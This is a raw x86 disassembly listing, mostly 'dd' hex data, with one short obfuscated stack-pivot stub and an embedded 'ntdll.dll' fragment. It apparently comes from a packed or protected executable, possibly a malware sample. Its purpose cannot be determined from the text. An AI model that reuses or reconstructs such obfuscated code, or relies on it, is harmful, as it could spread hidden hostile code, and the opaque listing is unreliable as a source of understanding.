52C38B36h, 9FE08166h dd 83078FB2h, 8E0F02EFh, 2, 4F4FC18Bh, 81F1BF0Fh, 1EBh dd 0BC850F00h, 0E9FFFFFFh, 11h, 0DB92C34Bh, 0B10DB2F0h dd 0B0D30739h, 6F29DFB3h, 0DE898h, 0AE720000h, 1F5C18F9h dd 0BEE0C6D2h, 0F3F1A81h, 0A8Fh, 800F6000h, 0 dd 5A615957h, 94F38166h, 0A5C281AFh, 6600005Ah, 333D9FBBh dd 0FFAEB1FFh, 4CB91734h, 582FD3E5h, 81F7B70Fh, 0C2EC4CF0h dd 3890F76h, 0F000000h, 0F081D8B7h, 6028B924h, 0C1E4F081h dd 0C3B96E00h, 506DDB5Ch, 8B3A048Fh, 1EF83DFh, 0F0DFB966h dd 0F4F4F4Fh, 58Ch, 3FA8B900h, 0FF8103DDh, 0FFFFA608h dd 0F850Fh, 0BB660000h, 24E9E9D9h, 69000000h, 0DB5EC7A1h dd 0E28160FCh, 5D8DE729h, 61D9BF0Fh, 0FFFF8EE9h, 0D11D7CFFh dd 0AC18297Eh, 7B2FD1FCh, 0E87CA7DAh, 0Eh, 33C33A41h, 996C7C12h dd 0B53C22D1h, 0DA8BA21Ch, 8FBE665Ah, 5AC281B8h, 0B5000059h dd 162D686Eh, 8B660000h, 0BE858C8h, 12000000h, 75C5B161h dd 21276C42h, 0BA6027CBh, 7296A690h, 5961CA8Ah, 0F5803A8Bh dd 0E3C78199h, 810FC5E6h, 103125DEh, 0A6EF812Dh, 661C73A4h dd 0C781CA8Bh, 3B47701Bh, 0EE960h, 5F250000h, 68F1539Dh dd 0BC7C42E5h, 0AE9F63Eh, 8C0F56h, 5B000000h, 0B13A8961h dd 6DEA8182h, 8B255906h, 69C281DFh, 48255906h, 0FFAA850Fh dd 0FE9FFFFh, 19000000h, 44025A95h, 2E7C34D6h, 2247D36Ch dd 8D8DE5E2h, 64B46C0h, 18D89F9h, 6A06452Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 79DDC350h, 3DEBECFCh, 0A58D0922h, 0C7064530h, 4503D585h dd 6AD806h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 59310C61h, 0D0B4410Bh, 8B66D366h dd 5D85C7D1h, 64509h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 6EC3C352h, 2419BD89h dd 958B0645h, 6452425h, 2C55B5FFh, 95FF0645h, 6452A11h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A7C35646h dd 3485C9B6h, 95FF006Ah, 6453121h, 19EBC08Bh, 0E2028057h dd 6F336E05h, 156FFCC2h, 0D6806B0Fh, 37716A58h, 424733C6h dd 9026EB16h, 0EC33B61Bh, 6E558EAFh, 6C6C6474h, 6C6C642Eh dd 46218800h, 0D25D3407h, 0EC09D6A3h, 5Fh, 0 dd 6BEE900h, 53680000h, 0E9064B48h, 0FFFA36C5h, 4B491D68h dd 36BBE906h, 0D668FFFAh, 0E9064B49h, 0FFFA36B1h, 4B4AB368h dd 36A7E906h, 6768FFFAh, 0E9064B4Bh, 0FFFA369Dh, 4B4C6068h dd 3693E906h, 1A87FFFAh, 0AC20E973h, 50408913h, 0EDDC2DBFh dd 8977C25Ah, 0DEE658C4h, 9903C836h, 3BA15E50h, 0DE4EFDEEh dd 7FED980Bh, 313E901Ah, 911800D8h, 806F3E40h, 18A718CDh dd 0D3FB342h, 193Fh, 0CDC00100h, 22956C32h, 10C30567h dd 0D611B593h, 0A68D7EE5h, 89169338h, 625B2D13h, 75F3BBF7h dd 0ECDEE06Ch, 555D25Fh, 18A718C1h, 806EB342h, 0C57947CBh dd 7B0FF10Ch, 7F9A0EAh, 0D015247Ah, 0F9782EE1h, 0A0B31D75h dd 0F617FB30h, 5C0D536Ah, 0AFB0166Ch, 1317FB2Eh, 87F145C2h dd 0DEC0451Fh, 24E78h, 837A4A00h, 2E60D1F4h, 0F08A0288h dd 82FB40Fh, 0DF545E64h, 29983D53h, 49EF4F61h, 0C951DA64h dd 6E6B08D7h, 8A2BB8E2h, 6784A450h, 5A008D2Ah, 420CBD18h dd 0BD4CA0Eh, 0B7E26DF0h, 0F022CDE3h, 559EE26Dh, 217C42C8h dd 9DE0B649h, 64570648h, 2FB491D9h, 50E4E1AFh, 73C658DEh dd 7FDDC580h, 6E3BA1ACh, 4C0BC1Ah, 26930000h, 0B82CFD6Fh dd 5C4C9D0Fh, 0F9E831ABh, 9503D656h, 0D2EA6CF0h, 0AD3FD4C2h dd 4FDD6A5Ch, 0E27A09FAh, 8319A417h, 3D228406h, 851800D9h dd 0CDC05C74h, 59006C32h, 6052D869h, 65A14A5h, 0B591BFA0h dd 51F20311h, 0DD14D85Eh, 0FFA337DFh, 0F0FA8DD9h, 3AA2330Fh dd 9E8BB255h, 9FE886E4h, 79665872h, 0C917FAA6h, 0F9BB3FBCh dd 7C235DCh, 2CDEF0BAh, 8A16359Eh, 3E4A5679h, 6184B556h dd 14515A4h, 0DD78C0AFh, 7FF300B6h, 70219D33h, 569FB518h dd 7EEB2210h, 3CD15D1Bh, 0C1891637h, 9A442B8Dh, 77FCBD22h dd 419BFE3h, 53BB6AF3h, 376B188Ah, 0DE27B006h, 2FDACD9Ch dd 0CE796CBDh, 56877EE4h, 4D0B9F16h, 3F6h, 0C359F0DDh dd 63F98276h, 7652696h, 9C00C332h, 32AA5F4Dh, 9E0C0890h dd 34A673E9h, 0D3C41597h, 6E61A834h, 0CE3049D3h, 0DA07E8h dd 6A2EBB18h, 6C32CDC0h, 0DDF38F0Eh, 11B59112h, 96D825AEh dd 91737C52h, 43B111B5h, 58DE278Eh, 3A9CD014h, 11B59135h dd 32A3788Dh, 55311F93h, 0EB0FF0A2h, 69AC029Ah, 0B3096D8h dd 4416440Bh, 4D731BE9h, 47F6AC5Dh, 182E30DEh, 0FEB0C592h dd 4901BC2Fh, 0F197DFDCh, 0BADFD8Eh, 1E45FC64h, 840A97DCh dd 69CC3F0Ah, 0BCA30579h, 41E45FCh, 0D2C72FFh, 3D98DA80h dd 3AECC28Ch, 841C8106h, 78E5577Fh, 90187776h, 33DC6h dd 0E2A91600h, 823BAF7Ah, 2EDFCF1Ah, 0C97C6BBEh, 73188653h dd 454F57E9h, 0DF2AB257h, 7DCC50EDh, 9A6FFD8Ch, 89009C27h dd 0DAC0AF01h, 0F7001800h, 6ACDC0D1h, 0A012D77Ch, 0FCC066E3h dd 915906B8h, 9CE911B5h, 0E620303Bh, 0CE44A86Ch, 0F6B8098Ch dd 0F0AEFAD0h, 0B537BC0Fh, 17B828F1h, 1ACB583h, 559F0000h dd 91B0BF11h, 0C31011B5h, 4B1FAC1Eh, 0BB5724AAh, 915E70B4h dd 3111B591h, 0A96C2EA4h, 8A705618h, 0C70FF089h, 6FE3A816h dd 8894BBC8h, 22CD831Bh, 9732A574h, 0EEAC22D3h, 0DDC9E2Fh dd 835ECE9Fh, 5992C732h, 0B46A56DCh, 0B738F7Ah, 83022Fh dd 0A225D059h, 247A8B2Ch, 3446F7D6h, 0C63D7B92h, 0FAEAC311h dd 0DB82CC49h, 7ACF5DE8h, 68DAFC87h, 856CB1D1h, 2605305h dd 86730000h, 188C5DCFh, 0BC2CFD6Fh, 5948910Bh, 0F5E336B6h dd 720ACC50h, 0D9F34A2h, 0AF3DCA3Ch, 42DA695Ah, 0E37904F7h dd 9D4264A6h, 251800DBh, 0CDC0FCD4h, 8F0E6C32h, 9112DDF3h dd 0E2D011B5h, 5DF8792Dh, 0EDC38B08h, 0FF0B279h, 612EBEC7h dd 61479BAAh, 17FAB27Eh, 7F3DB1C2h, 9AFEF5Eh, 1635AA81h dd 4ABA6337h, 0CACC93B9h, 0CB741E3Fh, 63B953D7h, 3800DA3h dd 533C002Ch, 0A21B92E2h, 49655B13h, 0F7AB5D5Bh, 0C3FA386Eh dd 0D70CB72Ah, 0F10026E7h, 89843A74h, 35B1AFB6h, 0CC3FEEA0h dd 6B5EAB31h, 376B1488h, 2B99B906h, 0F20C9B4Bh, 1AC20B6h dd 3AA70000h, 0CCC00993h, 7060A933h, 0DFC4DDFh, 0A917E27Ah dd 0BEC678E4h, 0B923E8D6h, 5BC17E70h, 0FE6E1D8Eh, 9F0DB82Bh dd 511EB0FAh, 0F11800DCh, 0CDC0A060h, 84D94816h, 46084AECh dd 0B5CF7F60h, 35B2C311h, 0CE95C865h, 20A8D27Bh, 6FA7486Eh dd 0CA1B11B6h, 0EF2E0C44h, 84D81C5Eh, 0B66F3D22h, 7C09FB11h dd 27AC1726h, 81098DD3h, 76B70FF1h, 0E27AC784h, 0D5F3A782h dd 0D451DAEDh, 625B6C5Eh, 0BD301D8Bh, 50DD5C02h, 0E0D29BD3h dd 78FE7F23h, 0DCAF9234h, 0A8EC0FFEh, 0D86976h, 68CD918h dd 0FD8A7CB1h, 2DE2D0A9h, 0FE7BF879h, 4FFAEDBCh, 0EE990CDDh dd 948381ACh, 0E2BA1059h, 0C7C6346Ch, 0B1822476h, 9164A0Bh dd 0F8EBB2FCh, 970ADF4Dh, 0F33A1DC8h, 21AE8354h, 2F9E3F7Dh dd 9455496Fh, 57EB1C87h, 45771486h, 2491909Ah, 7650DD26h dd 777D0418h, 0B383D555h, 0A0000000h, 39009C33h, 59A03CC5h dd 0F544D869h, 10D94306h, 0DD7FEDA2h, 2CE1CFC5h, 0CA7769B0h dd 77168752h, 16B124F5h, 158BF396h, 1800DD4Ah, 5BAF69F6h dd 259BD362h, 0FFEDC24h, 461F4390h, 0E534A853h, 560757F2h dd 0ADB21462h, 151800D8h, 97CF43C0h, 711282ABh, 0E6D70C2Dh dd 7CF20327h, 5E228552h, 387C30C1h, 0A820D986h, 961C6971h dd 0C336F1F4h, 33A77638h, 0E301D48Ah, 47B33944h, 0C45AD05Dh dd 0A3C78275h, 7228DBCAh, 2FEAF375h, 354901BCh, 0A84ECC93h dd 0AFEF7471h, 0A84E6609h, 589DA71h, 0B04BBE8Bh, 8ECEAh dd 6FD60000h, 0D06B5E0Fh, 0D3C0685Ah, 1C8F663Ch, 73643D61h dd 0C5378ED4h, 1D8B6238h, 6D5B3268h, 0BC2B82D8h, 0CFC5509h dd 5A4E277Bh, 5776FDA1h, 0C781E789h, 4, 8704EF83h, 895C243Ch dd 9E68240Ch, 89000046h, 89522404h, 4C281E2h, 81000000h dd 4EAh, 24148700h, 2434895Ch, 4D7F6856h, 0D15E50B5h, 6E6C1E6h dd 81FFEE83h, 5B783AEEh, 5EF08954h, 73D568h, 24248900h dd 4240481h, 5E000000h, 3ED768h, 24048900h, 8B08468Fh db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_545D4D ; --------------------------------------------------------------------------- dw 0F96Ch dd 5DA817Eh, 0B5240BD6h, 0F35A0C74h, 4B4D38B8h, 0FFC50306h dd 4D19FE0h, 0B5B20453h, 993FFA12h, 1E19FE4Bh, 3A1D263h dd 21C0AF19h, 1D05E342h, 96A1A352h, 925C1E49h, 0DEF32041h dd 0BF56C50h, 0EF00FD5Fh, 68A8B823h, 317F1E38h, 137CAF6Ah dd 0E0B95F15h, 0DCD12774h, 48F4BA29h, 0A380A723h, 97D21C61h dd 62F9F47Bh, 2731A42Bh, 6E836h, 3ACE0000h, 0FAB657Ah dd 665A5F50h, 9F22E981h, 5A34C281h, 66680000h, 81000016h dd 0D33B21DBh, 32FF582Dh, 5ECBBF0Fh, 0EE81D98Ah, 74A44D6Ch dd 0F392B966h, 8F5EE81h, 666078A9h, 3515C181h, 0B4F68161h dd 0F4C974Ch, 48Ch, 0A0B96600h, 6032896Bh, 840F60h, 0B6000000h dd 836161B9h, 4A4A01EAh, 11E84Ah, 0EC430000h, 0B66B9560h dd 0B9727575h, 0C4FDA033h, 66AC4235h, 5900C6BFh, 0F01E883h dd 0FFFF9985h, 11E8FFh, 3EBA0000h, 0B6EE40E4h, 419D5532h dd 23BCEFD6h, 0B5FDFF53h, 8EB5F8Ch, 0 dd 5FC870FAh, 4F4E9h, 50106800h, 0F2E9064Bh, 68FFFA2Eh dd 64B508Eh, 0FA2EE8E9h, 51F268FFh, 0DEE9064Bh, 3CFFFA2Eh dd 55A438CFh, 0F544D861h, 11D84405h, 0AC7DEFA2h, 0B113893Eh dd 0C87D6B29h, 76138554h, 13B223F6h, 0B24D4089h, 892F6F2Ah dd 1800DFE6h, 0C00B0D5Ah, 5693DD2h, 0BDA264C1h, 0CEB136B6h dd 0B65201EEh, 66104111h, 9F5D9A51h, 6DA42AB7h, 0DE8FCF7Ah dd 333C92ECh, 8F11B61Bh, 0DB75F946h, 0C9813095h, 5947B020h dd 0C24FEEB4h, 0FCAE004Ch, 0BA0FF127h, 201DC2E4h, 0E7DB17FBh dd 0E16EF75Eh, 224013BDh, 128617FBh, 6C5C3569h, 9CAC87DBh dd 0C7411689h, 370A9CBEh, 0F455DEC0h, 67000002h, 0B0BF1155h dd 0FB11B591h, 0B5911AC5h, 0F65DA611h, 788AE96Dh, 2575C4C1h dd 0F089F783h, 7A34410Fh, 0C83206CFh, 9A103C5Ch, 9E2FABB1h dd 0A96C1B16h, 0DE125618h, 609AF7F8h, 0E53A4B15h, 0EF0E54F5h dd 0A219456Bh, 5EA7139Bh, 81752408h, 4E93A2F8h, 79F8AE5Dh dd 0B70687F5h, 0BC17C1E7h, 58AD19E0h, 0F1544716h, 65C744FDh dd 0BC662194h, 74D65ABBh, 0E6E68A0h, 0D0000003h, 69B02CE3h dd 8950CC75h, 25F46819h, 408913B6h, 0AD2FBD52h, 0FC917F15h dd 9A279960h, 7C63702h, 0A66154A5h, 0E5DB4346h, 1800E1FAh dd 5B1F3946h, 0B7B81E62h, 0B11B591h, 0F93D7DFAh, 0B59118C7h dd 0D75BA811h, 0C3ED35EBh, 3A4B0FFEh, 7B6D3C70h, 159998CEh dd 0A339CE3Ch, 0FFA36856h, 96597FB3h, 2A1800DFh, 590B55D9h dd 9D1800E1h, 28D5C72Ah, 5BF68BABh, 15956AECh, 29043h dd 0AA614E00h, 4AF3E732h, 0F69707D2h, 9134A376h, 3BD03E0Bh dd 0FD972FA1h, 17E27A0Fh, 0B58418A5h, 0D2278544h, 0C1B824DFh dd 0E1786759h, 0BFC81800h, 0D3625B99h, 0C3FD259Bh, 2ABB0FFEh dd 0E2796A74h, 0EF2F1800h, 1D5FEABh, 0CBCBE91Bh, 14DFEE1h dd 0BD314218h, 6244162Fh, 3DDEC660h, 19Fh, 541BBDF1h, 0EC180145h dd 55D11367h, 0E20E2EF8h, 5444CC24h, 0C14EEFB3h, 6621944Dh dd 0CB7669C0h, 0BBA1351h, 0DE156D43h, 52A30FF0h, 0FDE2C418h dd 4517FAFEh, 4EF7EB30h, 3D951918h, 541BBDF1h, 0EC17FAFEh dd 16CD1367h, 4C17FB00h, 1591C9DCh, 4EDEC011h, 57h, 6E792702h dd 65B08F57h, 625BD311h, 61479BD3h, 11B5917Eh, 713DB1C2h dd 0F09E475Fh, 366CF90Fh, 9C7B5FCAh, 2B8AF575h, 18949A42h dd 0FB7FFC9Ah, 0FB81FED5h, 0B1B45417h, 0C096FDE9h, 3B16AADEh dd 0DA6CDF0h, 2A35E706h, 9617FB0Ch, 98E5A415h, 0A4A212h dd 0C0100000h, 956C32CDh, 653C6227h, 0BBA41A72h, 711B591h dd 542D71FEh, 446A661h, 11B59E31h, 83B7CB66h, 4C076299h dd 0E19C0FC6h, 7990357Bh, 0CAA3C78Ah, 2EAB28DBh, 0AD704A6Ch dd 0BDC60FFDh, 0ABD2CFDh, 0A311D884h, 3DAB7EEEh, 3DD9AE88h dd 66A26AE9h, 12C70h, 0EC53200h, 0AE574B9Eh, 4AFBEB3Eh dd 0F59807D2h, 9F34A277h, 61334B0Dh, 0FB4EDE73h, 19E07C09h dd 0B68319A8h, 6524B843h, 0E2DC8325h, 1B641800h, 0F0D2C03Dh dd 0B59111DEh, 20DDCF11h, 69F37085h, 0A922DA0h, 46A2FFAAh dd 3EA2E66Ch, 0CDC08AB8h, 3FB17832h, 0D95DDC82h, 0AB52881h dd 85F9DC92h, 0B5913C23h, 0F27F8411h, 3D668DB8h, 37ECBDA4h dd 2ED9FFA3h, 920FF0C5h, 9AE7AA19h, 0D29B09D0h, 0D89404E0h dd 2DBF3CC4h, 0FB57382Bh, 700BFE17h, 1AAF1DECh, 931244h dd 5B7C0000h, 259BD362h, 0FFEC409h, 0C68576B7h, 10D92579h dd 8AEE09Fh, 1800E067h, 0CD048ADBh, 2DDE0BDAh, 0DC564830h dd 3B333C92h, 468F1801h, 239663F9h, 3B6C7355h, 8FD41801h dd 74725C02h, 0B4C18268h, 7DE8443h, 0A4B1F598h, 64B1A81Fh dd 51E33E8Ch, 0F167C94Ch, 3BE31ECh, 0A014C599h, 3CB243E7h dd 1357F2E5h, 0E2B84BBAh, 9F5A63E5h, 757A5C2Ch, 0CF718489h dd 3E74729Ah, 0E66FD691h, 0C3360399h, 0A746238h, 5E000000h dd 75128455h, 0FC8A0031h, 3CD3C0C6h, 611C8F66h, 0D473643Dh dd 38C5378Eh, 681D8B62h, 0D86D5B32h, 9BC2B82h, 7B0CFC55h dd 0A15A4E27h, 7A6876FDh, 89000037h, 8956243Ch, 4C681E6h dd 81000000h, 4EEh, 24348700h, 2434895Ch, 81E28952h, 4C2h dd 4EA8100h, 87000000h, 895C2414h, 0BF572404h, 25376F69h dd 57DCB850h, 0C7011054h, 49EF8158h, 892F4078h, 0EC815FFEh dd 4, 81242489h, 42404h, 56580000h, 0C1240481h, 8F568F28h dd 0BA520840h, 568F28C1h, 5A085029h, 582434FFh, 0FF04C483h dd 835E2434h, 12E904C4h, 0B5FFFA2Ah, 2459909Eh, 4C4B8793h dd 5343B88Ah, 0C503064Bh, 249FE0FFh, 0CB7D26E0h, 0F76705D0h dd 3F317D6Ch, 8EA2352Fh, 0B46B476Ch, 8F1525BCh, 0E8534CB4h dd 565DB13Eh, 0EEACF532h, 5655F501h, 56ABB132h, 53D5B132h dd 16EAE8A1h, 5675EBE7h, 56BAB132h, 565DB132h, 56AEB132h dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h dd 56BAB132h, 545DB132h, 81AEB132h, 5657B935h, 54ABAB32h dd 4BD5B632h, 56E87C32h, 5677F932h, 0EEB8F932h, 565DB132h dd 0D4AEB132h, 989E61A1h, 8C2E4DDDh, 0F0D45939h, 64D725D5h dd 3644BEB1h, 56B058AEh, 0ADD7B132h, 81F8C02Ah, 25B51CF6h dd 785A3054h, 56C158D8h, 33B6B132h, 0B73D5A08h, 4B4E7634h dd 4F3DD2A0h, 83220EECh, 0E8CA6AD8h, 4D1A1D85h, 68DEB53h dd 4BAE362h, 5675BBDBh, 0FE712B32h, 2FAD7F3h, 59ED43CFh dd 56435803h, 0E347B132h, 670D0A78h, 3B6E2624h, 3F858290h dd 73A63EDCh, 0E071AC8h, 5A47803Dh, 0E257B132h, 7688E3EFh dd 1AAA2FEBh, 0C711BA7h, 284C276Ah, 0DC4F9DEDh, 0DF05EBC9h dd 0BFAA9576h, 5657B13Eh, 25491CF6h, 99FB1802h, 0BDD0D46Eh dd 5675B16Ah, 0CBCEF6B4h, 0E055220h, 1CED136h, 5643596Bh dd 73B7B132h, 0F7DD1AC8h, 8B5E36F4h, 8F559260h, 0C3F6CEACh dd 37052A98h, 5411E362h, 596F4B4Fh, 0CCAD103h, 568DD06Ah dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h dd 5657B132h, 56ABB132h, 56D5B132h, 36EAB132h, 5675B1DAh dd 0BC3BEB32h, 5016E784h, 0E53C34BFh, 0D4DEB778h, 50E0E53Eh dd 0A31833BFh, 0D463B779h, 503EE522h dd 56B3FFDAh, 56265932h, 0D469B132h, 501CE2CEh, 56ABB132h dd 7F507760h, 0ECF42Ah, 0FECDE35Ah, 830F4EAEh, 0DB5BF43Bh dd 1ED607B7h, 0DF874E34h, 13847CB7h, 3ED1DB34h, 56EAA132h dd 5578F15Ah, 0A9BADB32h, 9656EBE2h, 0D4278246h, 501CE2CEh dd 2AB33BBh, 166CB779h, 0DDEAB23Fh, 0A5B582CAh, 52D0E398h dd 564DB15Ah, 52AED932h, 563DB132h, 796623CDh, 0DF8FB777h dd 1DBEE1B0h, 0D3FED034h, 50F1E2CEh, 0D49AD1F1h, 50EBA1DFh dd 5617B132h, 5F6A33F5h, 46D5B777h, 958BB132h, 0AACF3A52h dd 0D5BCFA61h, 7529B10Dh, 54BECEB1h, 29D4BA46h, 58DFB522h dd 0BDC176B1h, 46AD76D8h, 5675B133h, 117D43D9h, 565DB222h dd 37475A32h, 0BADCE4F1h, 56AB5952h, 0D78FB132h, 1DBD1AD8h dd 2C73A34h, 0DDBCFA66h, 50D4B977h, 2FA33B1h, 3753B779h dd 56AF73FBh, 56D55952h, 0D7B0B132h, 1D227ED8h, 6083A34h dd 6D5BFA66h, 1DFAE580h, 0DD6CC534h, 59743A0Ch, 0A0D4FE84h dd 236AB075h, 0BDACB236h, 15639A30h, 0ABD83A71h, 0DDA8F418h dd 137348BFh, 24738A34h, 210C8A3Bh, 522C3237h, 994E78D9h dd 0EB33B946h, 501895CBh, 95CF06D9h, 56575952h, 0D7F1B132h dd 1D8D96D8h, 6503A34h, 0EF73FA66h, 56BAB032h, 0FDAE7101h dd 2FE33B9h, 0D4DEB779h, 50E0E566h, 0BEB57253h, 56EAB132h dd 79F3068h, 90BCFA6Ah, 134598B7h, 6FC6E734h, 0A983AE5Fh dd 13A26487h, 0E0503C34h, 0A9ECF94Ah, 3E25E3E2h, 56BA3132h dd 0E4A2B158h, 50E5E2CEh, 0C0F61CDh, 562BB15Ah, 0A9D5DB32h dd 1DBEE180h, 37A54E34h, 0BA31E4F1h, 565D5952h, 0D7F4B132h dd 1D0F2ED8h, 5EDE3A34h, 56D729DAh, 0C415E432h, 503EE53Eh dd 5ACF8A6Fh, 0D0B55F47h, 37AEB130h, 565F73FBh, 0D5473A67h dd 1834DF6h, 56EA5961h, 0D72FB132h, 1DE262D8h, 5E283A34h dd 1BECCB9h, 56605964h, 96A0B132h, 0AE5E9046h, 5A784E67h dd 0B73FA66h, 22B6C409h, 48D6D720h, 0DC5E56B2h, 0A6B4312Ch dd 56AD2CDAh, 0DF015A32h, 0B024D4Fh, 0D8A4ECCh, 1331EF6Dh dd 5A9F78CEh, 0BA25E432h, 1AF75B1h, 91F8E064h, 56D54977h dd 0D42DB132h, 503EE50Eh, 56BAB133h, 3055C4B9h, 0EC25AFB9h dd 501CE2CEh, 5DA3EEB9h, 6DDAC5E9h, 0DDECC4ECh, 9FCBD6Fh dd 427D323Eh, 0DD3B5BD9h, 0BE55312Ch, 5699353Dh, 0AD2BB132h dd 9351BEDBh, 0D6EAB132h, 0D27A5AC9h, 56BAB18Eh, 59BF4AB2h dd 56AE1DB6h, 0B5AC3132h, 5631353Dh, 0D7B3B132h, 5909D6C9h dd 567529B6h, 0A65D3132h, 59A63054h, 0C72ABEB2h, 0D657B132h dd 0AD2B41D1h, 0D351BE42h, 30EAB132h, 0B5F5AFB9h, 0EE4131CAh dd 68DDF346h, 0D693C537h, 6E239C0Ch, 22C38FB2h, 6A574E01h dd 30ECFA66h, 0B1F5AFB9h, 0AD3BD7CAh, 762959B3h, 0D6B03A54h dd 0D73141D5h, 226B30C9h, 0A980D121h, 1DBEBDA0h, 13FCEC34h dd 2B39D0CEh, 3528B0CEh, 46430BB9h, 0DD07B777h, 1DFF8DB0h dd 66E98834h, 0DDBAC36Ah, 137C7088h, 0D431E134h, 5016E50Eh dd 0E9E8D0Bh, 46BC8C4Dh, 5453F4F5h, 0BDD5B132h, 0AEAF7635h dd 5675B133h, 5460BB9h, 49D6B779h, 49DA6A39h, 59226F09h dd 0D5A7ECB9h, 22D5494Fh, 0AEB7B231h, 0D571EEBBh, 0B451A5F5h dd 96B47101h, 30AEB132h, 2BDCAFB9h, 0BD50313Eh, 0B555BB46h dd 261131C2h, 649EA746h, 9153B6F4h, 565DB075h, 9125B132h dd 0BF5271B1h, 56ABB1A5h, 59D27654h, 0D6F43B3Ah, 9DF5BED1h dd 57E539B2h, 565FF6F5h, 0DDAEB132h, 509732F5h, 0D7CDC8D9h dd 2245210Ch, 0C6D4313Dh, 0D713BF47h, 0C62A4E4Ch, 52B6B346h dd 94576B9h, 20F33BFh, 0FBB779h, 2C523CDh, 96E1B779h, 9EFEBB46h dd 2E203BFh, 46B6B779h, 3603A64h, 25B23CDh, 7DF6B779h dd 80C46FCh, 5712CCB1h, 1FC5A147h, 5902D798h, 59F6D7B7h dd 0FDAFF784h, 2BD4AAD9h, 45DEB3CAh, 9FDE0954h, 0EE8C1A54h dd 0FD13353Dh, 57FC073Dh, 0A55F5A99h, 0D693A96h, 9F08EF6Bh dd 3ABB9F0h, 0BEB55DB9h, 56EAB132h, 679F3068h, 0DDBCFA69h dd 0D4D4B977h, 50E5E536h, 52957853h, 0BA20E432h, 362D75B1h dd 56EAB1DAh, 0BCF4EB32h, 50F1EA60h, 56A5F4F5h, 91AEB132h dd 56574D77h, 9698B132h, 91CB3A54h, 1DBE8DB0h, 5675B034h dd 0AD3BD732h, 562821A2h, 59464AB2h, 5656B9B6h, 0AD2BF132h dd 0A851BEDBh, 16EAB132h, 599E4AB2h, 56BA45B6h, 0B1DDF132h dd 0AD2FD7C2h, 0D258313Dh, 56ABB1D7h, 54943331h, 0D6AAB777h dd 0D27A53C9h, 56BAB1FCh, 59BE4AB2h, 56AE0DB6h, 0ADD6D732h dd 0D2A45255h, 56D5B188h, 0D61A52B2h, 0D27AC1C9h, 56BAB187h dd 0D6433A54h, 0AD2E49D1h, 0D610C58Ah, 14DFB40Ch, 22F88FB2h dd 3ED4310Fh, 0A9358946h, 1DEE8DB0h, 48D6D734h, 305656B2h dd 0BED64AB3h, 0DDCD9546h, 0A632312Ch, 0D7113054h, 3662C5F2h dd 5A284E67h, 0B5BFA66h, 3752F4BBh, 57ABCCB1h, 5783343Dh dd 0EC5EB132h, 50AFA1DFh, 6AF73A62h, 6FBCFA66h, 5905810Eh dd 56AFA0B0h, 97ED3A32h, 6ADF43Bh, 2E933B9h, 6AD3B779h dd 0D97AE902h, 56BAB1C8h, 25D0BB9h, 0D42DB779h, 501CE532h dd 0DF9C3826h, 0DD85A175h, 1DBE8DB0h, 66693A34h, 5EE5386Ah dd 565D64DBh, 0AEEB7632h, 5657B130h, 136CB6D9h, 56D5B0CAh dd 56503A32h, 0D573FA66h, 1DEEB1B0h, 61D4A534h, 0D5BEF6BBh dd 5A22B2CAh, 29733F5h, 56D7B779h, 5301B132h, 2B7749B1h dd 0AEC7326Dh, 5946C532h, 0FFAFF784h, 5657B1B2h, 0D5EBB747h dd 5E3EB4DAh, 56EA4E1Fh, 539D3232h, 0DDE9BAD9h, 1D098DA8h dd 65AA3A34h, 56571869h, 42DE3132h, 96567731h, 6A68B237h dd 1E73FA66h, 0DFB2F6BBh, 0B6BD75h, 908569C5h, 96D469C5h dd 6A29B237h, 1ED3FA66h, 0DFE2F6BBh, 689EBD75h, 10307101h dd 23DD1933h, 0D568B213h, 57ECB3F2h, 5DABB132h, 0DCDCC5E9h dd 1C669BA8h, 57963134h, 11337231h, 5A1A383Ah, 8E59A5D9h dd 56574E17h, 0A16D9A32h, 541532EAh, 0DFE2F6BBh, 378DBD75h dd 0DDEF72FBh, 0AA9932DEh, 56AE5952h, 0D70DB132h, 1DF6D2D8h dd 0AA6F3A34h, 65ECFA61h, 564A32FBh, 5678353Dh, 51D6B132h dd 0A9A2C4CDh, 0BE07B947h, 56ABB041h, 9156B441h, 0DF085A26h dd 238A4D77h, 5ECF4E3Eh, 0AB586CDh, 59AEB133h, 565726B0h dd 0AAEE3A32h, 0D4DAB60Bh, 56EAB1BEh, 0D589F4CDh, 22BAB54Dh dd 5A22323Ah, 0BDACC532h, 0A9A8093Ch, 53124ECDh, 0A5D5B132h dd 0D5295A99h, 2270A14Dh, 46C5323Dh, 174CC434h, 0DDAAF6B9h dd 15BCBD6Dh, 0DDAFF6B9h, 6F3EBD6Dh, 0DDEEF6B9h, 94EBD6Dh dd 4AFC43Ah, 7D59E6B9h, 3ADA167h, 5A083A26h, 0BD286B19h dd 443EEB37h, 0DDEEF6B9h, 95EBD6Dh, 53513236h, 41A83B31h dd 292DB777h, 